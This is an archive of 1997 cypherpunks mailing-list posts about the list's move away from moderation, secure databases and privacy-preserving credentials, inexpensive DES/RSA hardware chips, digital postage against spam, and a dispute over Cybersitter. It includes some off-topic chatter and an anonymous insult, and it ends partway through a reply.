Date: Sat, 15 Feb 1997 10:56:43 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151746.LAA18969@manifold.algebra.com>
Message-ID: <330606D5.403A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dave Hayes wrote:
> > > > Ok. I'll "put up".
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> I think that the ideas of a distributed list and the idea of
> alt.cypherpunks are both good and these two mediums complement
> each other.

I can certainly accept this, but it would be nice if someone summarizes
these feeds every now and then, as time to check them all out is very
limited.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:00:07 -0800 (PST)
To: Peter Swire <swire.1@osu.edu>
Subject: Re: Query on "secure databases"
Message-ID: <3.0.1.32.19970215105725.006383e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks
At 04:43 PM 2/11/97 -0500, Peter Swire <swire.1@osu.edu> wrote:
>        Can you point me to anything I can read on "secure databases"?  I
>hadn't hit that term before.  I am curious to what extent they are secure
>due to cryptographic approaches, or to what extent you rely on other
>mechanisms for keeping out unauthorized users.

It's been a long time since I've looked much into it, since I
was getting out of phone-company-defense-contractor mode at the time the
field was developing.  I think the NCSC Rainbow Book that deals
with secure databases is the Purple Book, though it might be the Gray.
Oracle and/or Sybase have done some work trying to do databases
at the B1 or B2 level, but I don't know details.  

I'll talk about secure databases a bit, but for the real world
there's more useful stuff that isn't related to them.

=================== Begin "Secure Database" Section ==============
At the time, the Orange Book (security for standalone computers) was 
well-understood, though there weren't really any systems above B2 level,
and the Red Book was written, but nobody really had a clue how to
implement multi-level machines on a multi-level LAN, though
you could use encrypting Ethernet cards to get single-level machines
of different levels on the same LAN, if they were all administered
by the same group of people (so user-IDs and security levels
worked across the entire system.)  

At the lower security levels, Orange Book techniques mainly involve 
removing bugs and adding accounting features.  At the higher levels, 
the key is to come up with a good mathematical/logical model of
interactions in your computer system, and then design a computer system
that only does the things permitted by the model and prove it does that.
Some of these systems use cryptographic techniques, including some of
the capability-based systems - see Bill Frantz's KeyKOS work, which he's
referred to on Cypherpunks occasionally. 

The objective is to have databases that can be accessed by multiple users
with different sets of security permissions.  In the military vernacular,
this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe
TOP SECRET data in the database, where not all users are cleared
to the highest security level, and maybe projects X, Y, and Z,
where users of project X may not have a need to know for project Y, etc.

The easy problems are probably solved by now - either you do a good job
of verifying the design and bug-free-ness of your database software
so you can be sure that each request includes, and obeys, security levels,
or you use crypto to encrypt the data items for each security level
(e.g. everybody with a SECRET or PROJECT Z clearance shares a key 
for that data, which isn't really ideal for non-small groups of people,
the database just tries to do a good job, and you only do operations in
the database that make sense when the data is encrypted, though that's
annoyingly restrictive for many applications.)

The sticky problems are aggregation-related.  It may be ok if an uncleared
person knows that military base A has missile types 1, 3, and 5,
and if the uncleared person knows where all your military bases are.
But is it ok if the uncleared person knows about _all_ the missiles
at _all_ the bases, and can tell that nobody's using Type 2 missiles
any more, and that all the Type 4 missiles got moved to New Jersey last week?

=============== End "Secure Database" section =================
=============== Begin "Real-World and Crypto" section =========
For the average person, though, the simple military models aren't 
really useful.  You really care more about groups of people,
though the multi-level stuff is sometimes a good way to keep 
machines from being hacked.  

But the real problem is that computers are very good at correlating
information - 
if two different companies know your Social Security Number,
and they share their data with each other (maybe for a price),
then they can all tie together everything they each know about you.
And there's no way to stop it, except by limiting the information
you give people (which limits the transactions they'll do with you),
or contractually limiting what they can do with it (good luck),
or using multiple identities - and even then, computers are
often good at guessing that the John Doe at 1234 Main Street
is the related to Jane Smith at 1234 Main Street, and maybe 
the foreign car parts Jane bought on her American Express are
for the Porsche registered to John, so there's a junk-mail opportunity.

There's really only one technology that lets you avoid this,
which is crypto and its relatives - though you still have to 
get people you use business with to use it, which is an uphill game.
Some of the fundamental work on this is David Chaum's papers
on Credentials without Identity (or something about like that, from ~1985.)
For instance, you can have a voter registration number that's
cryptographically signed by the voting bureau, but uses blinded
signatures so they can't correlate the known good unique number
with the Peter Swire who walked in and showed a picture ID one day.
A driver's license smartcard could keep a pointer to your driving records,
but wouldn't give your True Name, and would only show a cop
that the person whose picture is on the front is a Licensed Driver,
and maybe could demonstrate that the bearer knows the card's PIN.

One big issue is that the government is pushing banks to demand SSNs,
and requiring employers to demand SSNs (makes them easy Employee IDs),
and pushing medical insurers and providers to use SSNs (makes it
easy to collect Medicare data.)  You can gain a lot of privacy
just by having employers use their own employee-ID numbering system,
so the travel agent subcontracting to Corporate Travel
doesn't need your SSN on every form they fill out.
But suppose the Social Security Administration and IRS issued you a bunch
of separate numbers, that were either related using a cryptographic key,
or just randomly picked and kept in a big database (maybe pointing to
your old SSN), so you could give everybody who needs a Tax ID a different
number, and only you and the IRS could correlate them.
(To some extent, you can do this yourself by creating lots of
companies, but it's a real pain and costs a certain amount of money.)

=============== addendum =====================
Of course, for many transactions, the way to reduce the privacy problems
is to use bearer certificates rather than book-entry approaches -
pay cash, or digicash, rather than credit cards, use on-line
anonymous delivery of bits, or picking up stuff in person,
rather than mailing stuff to a snail address, etc.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Fri, 14 Feb 1997 14:05:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <85595791717269@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 10:56:16 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150843.AAA07793@toad.com>
Message-ID: <v03007801af2bb7fecac8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:

>I much prefer the plan where a potential mail correspondant includes an
>e-cash dollar directly cashable by me.  If I like the mail (and the
>sender), I throw the dollar away and the sender goes on the approved
>list.  If not, I keep the dollar, and the sender goes on the twit list.
>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>still be getting a bargain.  And potentially, some receivers may throw
>away the dollar and welcome the spam.

The basic flaw in all of these schemes is that they are "top-down"
solutions, imposed on the market for invented reasons.

The reason paper mail "spam" (advertisements, solicitations, whatever)
costs whatever it costs (hint: less than a dollar...check the Bulk Rate
prices, and look for the 8-cent and 16-cent stamps on many of the
solicitations) is because this is what the Postal Service charges.

Granted, the USPS is hardly a free market player, and uses force to keep
out competitors, but the general principle is that some semi-market-based
fee is charged, and larger packages will cost more, etc.

The basic flaw with e-mail is that the senders of e-mail are not paying for
carriage.

However, just "making up" a fee--as Roy does here, and as Jim Bell and
others have done before--is not a solution either. Nor does it stand any
chance of being "enforced" (for a large number of reasons I won't get into
here).

I don't expect any solutions anytime soon, but I certainly will not push
for "synthetic" prices which do not solve the underlying problem.

--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 08:21:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptanalysis
Message-ID: <3305E270.274EC8C6@sauge.com>
MIME-Version: 1.0
Content-Type: text/plain


Was wondering if anyone could help me with short explainations on the
cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
might get a better idea of what i'm trying to accomplish.

Vague explanations are OK.  Dont want long drawn out explainations on
the implementation of an attack (source code, proofs, statistical
analysis and the like), just a short explaination of the attack.

Thanks all, 

Scott
-- 
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:21:29 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702151740.LAA04710@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
> >Tim may says:
> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> >>violations of the First Amendment. I understand why the herd _wants_ these
> >>laws, as it reduces the costs involved in replacing fax paper, running to
> >>the telephone only to find someone trying to sell something, etc., but it
> >>is quite clearly a prior restraint on speech, however well-intentioned.
> >I have to disagree here.  The junk fax law is a restraint on unauthorised
> >use of property, i.e. *my* fax machine, *my* phone, etc. 
> However, you connect that fax machine to a phone line, when you know full 
> well that should it be enabled to do so, it will automatically pick up the 
> phone when it "hears" a ring, and will print out a fax based on information 
> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
> junk mail, or making a (voice) phone call to somebody.

	That is a ridiculous argument. The door to my home is connected
to the street,m and I know full well that that makes it easy for anyone 
to come wandering in to my home. Is it legal, just because I have my 
home hooked to the street, for someone to come in and help themselves to 
a beer out of my fridge?

	Nope. Sure I realize that they _can_, but that doesn't make it right,
and it doesn't make it legal. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:24:17 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150726.BAA13632@manifold.algebra.com>
Message-ID: <199702151743.LAA04722@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Well, they will stop sending you money if they find out that you do not buy
> their products.
> 
> 	- Igor.

	As long as they stop sending the Ads. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 09:49:26 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <3305F615.BBB@gte.net>
Message-ID: <199702151746.LAA18969@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dave Hayes wrote:
> > > Ok. I'll "put up".
> > > If the cypherpunks will have me, -I'll- run the cypherpunks
> > > list. Those that know me know that I will *not* censor, moderate, or
> > > otherwise alter the content (other than the stuff majordomo does with
> > > "resend") of any messages to the list.
> 
> > I think that it is a great idea. If you want to contribute to the
> > effort to keep the list, this is great. You could join the network of
> > other cypherpunks mailing lists.
> > There is a small list for discussing these networking issues,
> > cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> > se, but rather for discussing how we proceed with these lists.
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

I think that the ideas of a distributed list and the idea of 
alt.cypherpunks are both good and these two mediums complement 
each other.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sat, 15 Feb 1997 11:54:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <3.0.32.19970215115529.015b9da0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 2/15/97 -0800, owner-cypherpunks@toad.com wrote:
>

Wow, the entire text of these messages were deleted.  And they came from
the list owner!  The censorship here is even worse that I had imagined...


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 15 Feb 1997 13:02:00 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: RRE: Cybersitter
In-Reply-To: <199702150112.RAA20370@toad.com>
Message-ID: <3.0.1.32.19970215125020.02ca86d0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote:
>From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
>To:	IN%"rre@weber.ucsd.edu"
>CC:	
>Subj:	Cybersitter
>
>[Forwarded with permission.]
>
[snip]
>Wallace says Solid Oak responded by adding his Webzine to its block
>list. Learning of this, Wallace wrote Milburn and Solid Oak tech
>support.
>
>"I pointed out that _The Spectacle_ does not fit any of their published
>criteria for blocking a site," he says. "I received mail in return
>demanding that I cease writing to them and calling my mail 'harassment'
>-- with a copy to the postmaster at my ISP."
>
>Kanter acknowledges this. "He spoke to us more than once or twice -- he
>continued to send mail -- mail like that is considered 'not wanted' and
>is automatically sent back."

Kanter has sent mail like this on a first message.  I friend of mine who
writes for a local computer magazine (Computer Bits) wrote to Solid Oak with
a critical letter and got the same treatment.  Nothing addressing any of the
criticisms about the software or the company, just a nasty-gram to him and
his postmaster.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi
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Ptie4DMvz2MSymBYWDPap0rwTLxPK+SOw31I5rUzPdpyA0gjaj/7/Q==
=kkJ3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:08:37 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150439.UAA04787@mail.pacifier.com>
Message-ID: <199702151807.NAA15513@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:12:31 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150440.UAA04809@mail.pacifier.com>
Message-ID: <199702151811.NAA15530@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:21:55 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702151820.NAA15563@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fjegan@airmail.net (Frank J. Egan)
Date: Sat, 15 Feb 1997 11:20:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: FYI
Message-ID: <m0vvpf5-0000bSE@mail.airmail.net>
MIME-Version: 1.0
Content-Type: text/plain


This was posted to a financial information site on Friday:

OPEN MARKET INC (OMKT)  Yesterday, stock was given a modest lift from news
that company received approval from the Department of Commerce to export its
Internet-commerce software with a very strong version of encryption
software, becoming one of the first companies allowed to do so without first
agreeing to go along with a controversial White House requirement.

Frank
*********************************
**********Frank J. Egan**********
*Chance Favors The Prepared Mind*
*********************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Perry E. Metzger" <perry@piermont.com>
Date: Sat, 15 Feb 1997 10:29:51 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Cypherpunks Forums FAQ (life after toad.com)
In-Reply-To: <199702151404.OAA00812@server.test.net>
Message-ID: <199702151829.NAA10084@jekyll.piermont.com>
MIME-Version: 1.0
Content-Type: text/plain



BTW, for those of you who haven't tried it, cryptography@c2.net, which
I run and moderate, has been pretty successful thus far in providing a
low noise high quality area for discussing cryptography and
cryptography related political issues. I invite people to join. To get
on, simply send a message to majordomo@c2.net with the words 
subscribe cryptography
in the body.

Perry

Adam Back writes:
> 
> There has been some discussion as to which list one should subscribe to
> once cypherpunks@toad.com is dead (which I would remind you is 4 days from
> now -- 19th Feb).
> 
> For those not paying attention, I have collated information about
> cypherpunks forums for your information:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 15 Feb 1997 11:13:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneEnigma
Message-ID: <199702151913.OAA09662@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Mayonnaise must have been sharing needles with a 
rabid hedgehog.

     o-:^>___? Timmy Mayonnaise
     `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Lawrence <mlawrenc@ix.netcom.com>
Date: Sat, 15 Feb 1997 12:21:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: hacking
Message-ID: <33061B90.7069@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


i'm a new minor hacker so do you think you could teach me a few things
so i could get started on some small-time hacking?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 14:12:33 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU (E. Allen Smith)
Subject: Re: Fuck UseNet (fwd)
In-Reply-To: <199702151541.HAA23094@toad.com>
Message-ID: <199702152315.PAA32758@songbird.com>
MIME-Version: 1.0
Content-Type: text


E. Allen Smith allegedly said:
> 
> From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43
> 
> >Perhaps in addition to the X-foo structures we have discussed already we
> >might consider adding,
> 
> >X-distrib-policy: foo
> 
> >Where foo might be,
> 
> >         Public Domain
> >         All rights reserved, contact author for redistribution
> >         Distribution for non-commercial uses permitted
> >         Refer to authors header
> >         Copyleft
> >         etc.
> 
> >or whatever the policy might be for a given remailer. This would
> >significantly aid folks in their shopping around.
> 
> 	The basic difficulty with this idea is that _senders_ generally
> don't have much of a choice where the messages go, once you've decided
> to accept them. In other words, just because you've decided to accept
> a message doesn't mean it suddenly becomes
> copyleft/public domain/whatever. Now, if you, say, announced that only
> subscribers to your particular list, subscribers to any other lists
> adopting the same idea, and those who'd sign a consent agreement could
> post through your list, that wouldn't be a problem... although I
> suspect you wouldn't get many subscribers.
> 	-Allen

That wouldn't be the way it work -- Jim operates one of the cp 
remailers; I operate another.  Jim has a standard policy concerning 
public domain/copyright that is different than mine.  So *I* put an 
X-distrib-policy header in all the cp mail I forward to him.  More 
precisely, all of my incoming mail for "cypherpunks@songbird.com" 
gets the header.

This protocol needs a bit of refinement, and perhaps some hacking at 
majordomo, but seems fairly straightforward.

Jim's policy is actually very reasonable.  It has a rational basis, 
though one might disagree with it, and it is easy to deal with 
it this way.  A more extreme policy -- "The operator of this mailing 
list claims an exclusive copyright on every piece of mail sent to it; 
by sending to it you agree to this policy", for example -- would be 
harder to deal with.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 14:52:11 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151910.LAA01251@toad.com>
Message-ID: <199702152355.PAA00282@songbird.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn allegedly said:
> 
[...]
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

Dave is offering a single mailing list, which, while I am sure Dave is
a great person, still represents a single point of control and a
single point of failure.  A distributed mailing list has a potential
for being much more robust, and for supporting a wide range of
viewpoints.  Furthermore a distributed mailing list is an interesting
minor technical problem, and a good solution could have wide
applicability.

So I think that people would like to get the distributed list going...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: codehead@ix.netcom.com
Date: Sat, 15 Feb 1997 16:25:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Welcome
Message-ID: <199702160024.SAA24787@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sat, 15 Feb 1997 10:39:28 GMT
> From:          List-Owner <nobody@diacenter.org>
> Subject:       Welcome
> Reply-to:      cypherpunks@toad.com

> Welcome to Dia's Press Releases mailing list.
> 
> You will be sent press releases about Dia's exhibitions and other programs.
> 
> If you have questions or would like to request more press information, please
> contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.
> 
> If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."
> 
> PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.
> 
> Thank you for your interest in Dia Center for the Arts.
> 
> Dia Center for the Arts
> 548 West 22nd Street
> New York, NY 10011
> http://www.diacenter.org
> 
> 

Here it is:

Return-Path: <owner-cypherpunks@sirius.infonex.com>
Received: from sirius.infonex.com (majordom@sirius.infonex.com
[206.170.114.2]) by ixmail5.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
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Received: (from majordom@localhost) by sirius.infonex.com
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(PST) Received: (from nobody@localhost) by diacenter.org
(8.6.12/8.6.12) id KAA03924 for cypherpunks@toad.com; Sat, 15 Feb 1997
10:39:28 GMT Date: Sat, 15 Feb 1997 10:39:28 GMT From: List-Owner
<nobody@diacenter.org> Message-Id:
<199702151039.KAA03924@diacenter.org> Subject: Welcome Apparently-To:
cypherpunks@toad.com Sender: owner-cypherpunks@sirius.infonex.com
Precedence: bulk Reply-To: cypherpunks@toad.com X-List:
cypherpunks@cyberpass.net X-PMFLAGS: 34603136 0

Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other
programs.

If you have questions or would like to request more press information,
please contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566
x 118.

If you would like to stop receiving mailings, please send an email to
list-owner@diacenter.org with the subject line "Remove me from Dia
News."

PLEASE NOTE: You may receive more than one message indicating a
succesful subscription.  If you joined more than one of Dia's mailing
lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 14:47:32 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <330606D5.403A@gte.net>
Message-ID: <199702152242.QAA20900@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dave Hayes wrote:
> > > > > Ok. I'll "put up".
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> > 
> > I think that the ideas of a distributed list and the idea of
> > alt.cypherpunks are both good and these two mediums complement
> > each other.
> 
> I can certainly accept this, but it would be nice if someone summarizes
> these feeds every now and then, as time to check them all out is very
> limited.
> 

I agree entirely.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 14:51:47 -0800 (PST)
To: roy@scytale.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <970215.101958.0t3.rnr.w165w@sendai.scytale.com>
Message-ID: <199702152245.QAA20937@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Roy M. Silvernail wrote:
> > Clearly, spammers who pay their readers to read their messages (and who
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> 
> It should also spur development of intelligent agents which can retrieve
> this cash without human intervention.  Spammers will doubtless alter
> their pages to require more interaction to find the key to the cash.
> Then the IA's will be improved.  Then... remember the copy protection
> wars?  This isn't necessarily a negative point.
> 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> Or that the money wasn't there in the first place (absent a trusted
> signature system), or the key doesn't exist, or the wrong key is
